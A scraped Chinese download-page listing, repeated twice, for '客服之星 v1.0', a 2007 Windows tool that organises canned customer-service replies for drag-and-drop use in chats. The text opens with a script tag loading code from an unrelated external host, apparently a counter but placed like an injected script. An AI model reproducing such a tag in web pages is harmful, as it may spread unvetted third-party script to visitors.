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<script language="javascript" src="http://avss.b15.cnwg.cn/count/count.asp"></script>
软件大小:
482 KB
软件语言:
简体中文
软件类别:
国产软件 / 免费版 / 客户管理
应用平台:
Win9x/NT/2000/XP/2003/Vista
界面预览:
无
插件情况:
投诉
更新时间:
2007-05-14 14:37:28
下载次数:
137
推荐等级:
联 系 人:
support
mygrep.com
开 发 商:客服之星 v1.0>作者空间:
本工具的主要特点:通过鼠标拖拉式的操作完成聊天对话文字的输入。
本工具的主要目的:
1,提高客户服务的效率。
把您常用的聊天话语进行分门别类的组织,形成一个一个的树形条目,便于以后通过鼠标拖拉条目的方式,快速回答其他用户的类似问题,而无须每次都对这些类似问题重新打字输入一遍,解放您的双手,提高客户服务的效率。
2、向不同的用户提供统一的、标准的问题解答、政策宣讲。
由于已经把问题的答案固定下来形成条目了,以后只要把这些标准的条目内容直接回复给客户就可以了,不会出现不同的客服人员、在不同的时间,回复同样的问题,但是答案却不一样的问题。这一点对于企业用户特别重要!!!
把在做技术支持或者售前支持中常用的话语整理好,以后碰到类似问题时,通过拖拉的方式,快速回复给提问者。比如在QQ, MSN或者邮件回复中,都可以用到。提高客服效率,再也不用像以前那样,稍微多几个客户同时聊天,就忙得手忙脚乱的!!!
本软件...
官方
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客服之星
软件大小:
482 KB
软件语言:
简体中文
软件类别:
国产软件 / 免费版 / 客户管理
应用平台:
Win9x/NT/2000/XP/2003/Vista
界面预览:
无
插件情况:
投诉
更新时间:
2007-05-14 14:37:28
下载次数:
137
推荐等级:
联 系 人:
support
mygrep.com
开 发 商:客服之星 v1.0>作者空间:
本工具的主要特点:通过鼠标拖拉式的操作完成聊天对话文字的输入。
本工具的主要目的:
1,提高客户服务的效率。
把您常用的聊天话语进行分门别类的组织,形成一个一个的树形条目,便于以后通过鼠标拖拉条目的方式,快速回答其他用户的类似问题,而无须每次都对这些类似问题重新打字输入一遍,解放您的双手,提高客户服务的效率。
2、向不同的用户提供统一的、标准的问题解答、政策宣讲。
由于已经把问题的答案固定下来形成条目了,以后只要把这些标准的条目内容直接回复给客户就可以了,不会出现不同的客服人员、在不同的时间,回复同样的问题,但是答案却不一样的问题。这一点对于企业用户特别重要!!!
把在做技术支持或者售前支持中常用的话语整理好,以后碰到类似问题时,通过拖拉的方式,快速回复给提问者。比如在QQ, MSN或者邮件回复中,都可以用到。提高客服效率,再也不用像以前那样,稍微多几个客户同时聊天,就忙得手忙脚乱的!!!
本软件...
官方
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